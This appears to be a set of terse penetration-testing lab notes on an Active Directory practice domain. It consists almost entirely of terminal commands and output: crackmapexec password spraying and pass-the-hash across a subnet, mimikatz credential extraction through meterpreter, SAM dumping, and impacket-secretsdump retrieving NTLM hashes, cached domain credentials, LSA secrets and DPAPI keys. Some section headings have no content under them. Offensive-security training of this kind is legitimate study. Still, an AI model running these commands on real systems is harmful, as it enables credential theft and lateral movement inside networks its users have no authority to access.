

Pass the hash stuff:

```
root@kali: ~/Desktop
# crackmapexec smb 192.168.101.133/24 -u fcastle -d marvel -p P@ssw0rd2
SMB 192.168.101.139 445 HYDRA-DC [*] Windows 10.0 Build 17763 x64 (name:HYDRA-DC) (domain:marvel) (signing:True) (SMBv1:False)
SMB 192.168.101.142 445 THEPUNISHER [*] Windows 10.0 Build 19041 x64 (name:THEPUNISHER) (domain:marvel) (signing:False) (SMBv1:False)
SMB 192.168.101.141 445 SPIDERMAN [*] Windows 10.0 Build 19041 x64 (name:SPIDERMAN) (domain:marvel) (signing:False) (SMBv1:False)
SMB 192.168.101.139 445 HYDRA-DC [+] marvel\fcastle:P@ssw0rd2
SMB 192.168.101.142 445 THEPUNISHER [+] marvel\fcastle:P@ssw0rd2 (Pwn3d!)
SMB 192.168.101.141 445 SPIDERMAN [+] marvel\fcastle:P@ssw0rd2 (Pwn3d!)
```

Getting hash:

```
meterpreter > load kiwi
Loading extension kiwi...
#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /** Benjamin DELPY 'gentilkiwi' ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/

Success.
meterpreter > creds_msv
[*] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
=====

Username      Domain      NTLM      SHA1      DPAPI
-----
THEPUNISHER$  MARVEL      322bdbd12fb4ac3615bc064a7c598adc 79a5f9042a5bc2ab6e1770864839c0168468e577
fcastle       MARVEL      c9ab9d08cc7da5a55d8a82d869e01ea8 3342cac58b60412d58286c31e3303c608e9c4e60 2ed5798731418176c660f691ffa16d17
```

Passing hash (domain user):

```
root@kali: ~/Desktop
# crackmapexec smb 192.168.101.133/24 -u fcastle -d marvel -H :c9ab9d08cc7da5a55d8a82d869e01ea8
SMB 192.168.101.141 445 SPIDERMAN [*] Windows 10.0 Build 19041 x64 (name:SPIDERMAN) (domain:marvel) (signing:False) (SMBv1:False)
SMB 192.168.101.139 445 HYDRA-DC [*] Windows 10.0 Build 17763 x64 (name:HYDRA-DC) (domain:marvel) (signing:True) (SMBv1:False)
SMB 192.168.101.142 445 THEPUNISHER [*] Windows 10.0 Build 19041 x64 (name:THEPUNISHER) (domain:marvel) (signing:False) (SMBv1:False)
SMB 192.168.101.141 445 SPIDERMAN [+] marvel\fcastle::c9ab9d08cc7da5a55d8a82d869e01ea8 (Pwn3d!)
SMB 192.168.101.139 445 HYDRA-DC [+] marvel\fcastle::c9ab9d08cc7da5a55d8a82d869e01ea8
SMB 192.168.101.142 445 THEPUNISHER [+] marvel\fcastle::c9ab9d08cc7da5a55d8a82d869e01ea8 (Pwn3d!)
```

Dumping sam database:

```
meterpreter > hashdump
admin:1001:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:c970a56229099456a04ca22b1f8c7c38:::
```

Passing hash (local user):

```
root@kali: ~/Desktop
# crackmapexec smb 192.168.101.133/24 -u admin -H 209c6174da490caeb422f3fa5a7ae634 --local-auth
SMB 192.168.101.142 445 THEPUNISHER [*] Windows 10.0 Build 19041 x64 (name:THEPUNISHER) (domain:THEPUNISHER) (signing:False) (SMBv1:False)
SMB 192.168.101.141 445 SPIDERMAN [*] Windows 10.0 Build 19041 x64 (name:SPIDERMAN) (domain:SPIDERMAN) (signing:False) (SMBv1:False)
SMB 192.168.101.139 445 HYDRA-DC [*] Windows 10.0 Build 17763 x64 (name:HYDRA-DC) (domain:HYDRA-DC) (signing:True) (SMBv1:False)
SMB 192.168.101.142 445 THEPUNISHER [+] THEPUNISHER\admin:209c6174da490caeb422f3fa5a7ae634
SMB 192.168.101.139 445 HYDRA-DC [-] HYDRA-DC\admin:209c6174da490caeb422f3fa5a7ae634 STATUS_LOGON_FAILURE
SMB 192.168.101.141 445 SPIDERMAN [-] SPIDERMAN\admin:209c6174da490caeb422f3fa5a7ae634 STATUS_LOGON_FAILURE
```

Dumping sam database:

```
root@kali: ~/Desktop
# crackmapexec smb 192.168.101.133/24 -u fcastle -d marvel -p P@ssw0rd2 --sam
SMB 192.168.101.141 445 SPIDERMAN [*] Windows 10.0 Build 19041 x64 (name:SPIDERMAN) (domain:marvel) (signing:False) (SMBv1:False)
SMB 192.168.101.142 445 THEPUNISHER [*] Windows 10.0 Build 19041 x64 (name:THEPUNISHER) (domain:marvel) (signing:False) (SMBv1:False)
SMB 192.168.101.139 445 HYDRA-DC [*] Windows 10.0 Build 17763 x64 (name:HYDRA-DC) (domain:marvel) (signing:True) (SMBv1:False)
SMB 192.168.101.141 445 SPIDERMAN [+] marvel\fcastle:P@ssw0rd2 (Pwn3d!)
SMB 192.168.101.142 445 THEPUNISHER [+] marvel\fcastle:P@ssw0rd2 (Pwn3d!)
SMB 192.168.101.139 445 HYDRA-DC [+] marvel\fcastle:P@ssw0rd2
SMB 192.168.101.141 445 SPIDERMAN [+] Dumping SAM hashes
SMB 192.168.101.141 445 SPIDERMAN Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 192.168.101.141 445 SPIDERMAN Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 192.168.101.142 445 THEPUNISHER [+] Dumping SAM hashes
SMB 192.168.101.141 445 SPIDERMAN DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 192.168.101.141 445 SPIDERMAN WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:192e54fa1f533bb3c85278434bd8cdce:::
SMB 192.168.101.142 445 THEPUNISHER Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 192.168.101.141 445 SPIDERMAN [+] Added 4 SAM hashes to the database
SMB 192.168.101.142 445 THEPUNISHER Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 192.168.101.142 445 THEPUNISHER DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 192.168.101.142 445 THEPUNISHER WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:c970a56229099456a04ca22b1f8c7c38:::
SMB 192.168.101.142 445 THEPUNISHER admin:1001:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
SMB 192.168.101.142 445 THEPUNISHER [+] Added 5 SAM hashes to the database
```

Dumping lsa:

Pass the hash, dump sam:

Pass the hash, dump lsa:

## Secretsdump, hashes:

```

(root@kali) [~/cme/logs]
# impacket-secretsdump marvel/fcastle@192.168.101.142 -hashes :c9ab9d08cc7da5a55d8a82d869e01ea8
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x4c73bc1b906aa47c50b3a093f77e4f36
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:c970a56229099456a04ca22b1f8c7c38:::
admin:1001:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
[*] Dumping cached domain logon information (domain/username:hash)
MARVEL.LOCAL/fcastle:$DCC2$10240#fcastle#4bb310df5503d889ded7aa178db73c31
MARVEL.LOCAL/Administrator:$DCC2$10240#Administrator#dfb35a65f92d8af602f08e358a58dc42
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
MARVEL\THEPUNISHER$:aes256-cts-hmac-sha1-96:d476a50d06c28e38beec07647677e1cb5b1f58389055a2cf27791ea4b9f0461f
MARVEL\THEPUNISHER$:aes128-cts-hmac-sha1-96:4906ae4cb8cb5d7560c499cd3747a333
MARVEL\THEPUNISHER$:des-cbc-md5:4c9bf4da8315b6b9
MARVEL\THEPUNISHER$:plain_password_hex:34003000710035005700500068006000370050005a006a006a005d002e007500470042006b0052006c0046005b0070002
72006a0061004a0064003e0031004d003f005b00200066005c002c004a002a0022006d0032003000490062004600640040006d006400290031002100280047005a004100
MARVEL\THEPUNISHER$:aad3b435b51404eeaad3b435b51404ee:322bdbd12fb4ac3615bc064a7c598adc:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0xdd7a96b8b2c300fb592144c0cb6fc31f70bae7b0
dpapi_userkey:0x85bf0e46d855c12676b60344314501bca8cbf1ab
[*] NLSKM
0000 53 A0 D8 B4 84 E2 0B BE B8 17 B1 53 B4 0F A3 1B S.....S....
0010 6D 20 46 65 3A 58 31 6C B5 8E F9 1A 96 88 1B 24 m Fe:X1l.....$
0020 2D 5E 63 6A 97 1D 0A 55 7E 93 40 55 AC 2D 7E 03 -^cj...U~.@U.~.
0030 77 38 94 FD DA 99 B4 1B 99 E5 66 8C 92 F7 B9 C0 w8.....f.....
NLSKM:53a0d8b484e20bbeb817b153b40fa31b6d2046653a58316cb58ef91a96881b242d5e636a971d0a557e934055ac2d7e03773894fdda99b41b99e5668c92f7b9c0
[*] Cleaning up...
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry

```

## Secretsdump, password:

```

(root@kali) [~/cme/logs]
# impacket-secretsdump marvel/fcastle:'P@ssw0rd2'@192.168.101.142
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x4c73bc1b906aa47c50b3a093f77e4f36
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:c970a56229099456a04ca22b1f8c7c38:::
admin:1001:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
[*] Dumping cached domain logon information (domain/username:hash)
MARVEL.LOCAL/fcastle:$DCC2$10240#fcastle#4bb310df5503d889ded7aa178db73c31
MARVEL.LOCAL/Administrator:$DCC2$10240#Administrator#dfb35a65f92d8af602f08e358a58dc42
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
MARVEL\THEPUNISHER$:aes256-cts-hmac-sha1-96:d476a50d06c28e38beec07647677e1cb5b1f58389055a2cf27791ea4b9f0461f
MARVEL\THEPUNISHER$:aes128-cts-hmac-sha1-96:4906ae4cb8cb5d7560c499cd3747a333
MARVEL\THEPUNISHER$:des-cbc-md5:4c9bf4da8315b6b9
MARVEL\THEPUNISHER$:plain_password_hex:34003000710035005700500068006000370050005a006a006a005d002e007500470042006b0052006c0046005b0070002
72006a0061004a0064003e0031004d003f005b00200066005c002c004a002a0022006d0032003000490062004600640040006d006400290031002100280047005a004100
MARVEL\THEPUNISHER$:aad3b435b51404eeaad3b435b51404ee:322bdbd12fb4ac3615bc064a7c598adc:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0xdd7a96b8b2c300fb592144c0cb6fc31f70bae7b0
dpapi_userkey:0x85bf0e46d855c12676b60344314501bca8cbf1ab
[*] NLSKM
0000 53 A0 D8 B4 84 E2 0B BE B8 17 B1 53 B4 0F A3 1B S.....S....
0010 6D 20 46 65 3A 58 31 6C B5 8E F9 1A 96 88 1B 24 m Fe:X1l.....$
0020 2D 5E 63 6A 97 1D 0A 55 7E 93 40 55 AC 2D 7E 03 -^cj...U~.@U.~.
0030 77 38 94 FD DA 99 B4 1B 99 E5 66 8C 92 F7 B9 C0 w8.....f.....
NLSKM:53a0d8b484e20bbeb817b153b40fa31b6d2046653a58316cb58ef91a96881b242d5e636a971d0a557e934055ac2d7e03773894fdda99b41b99e5668c92f7b9c0
[*] Cleaning up...
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry

```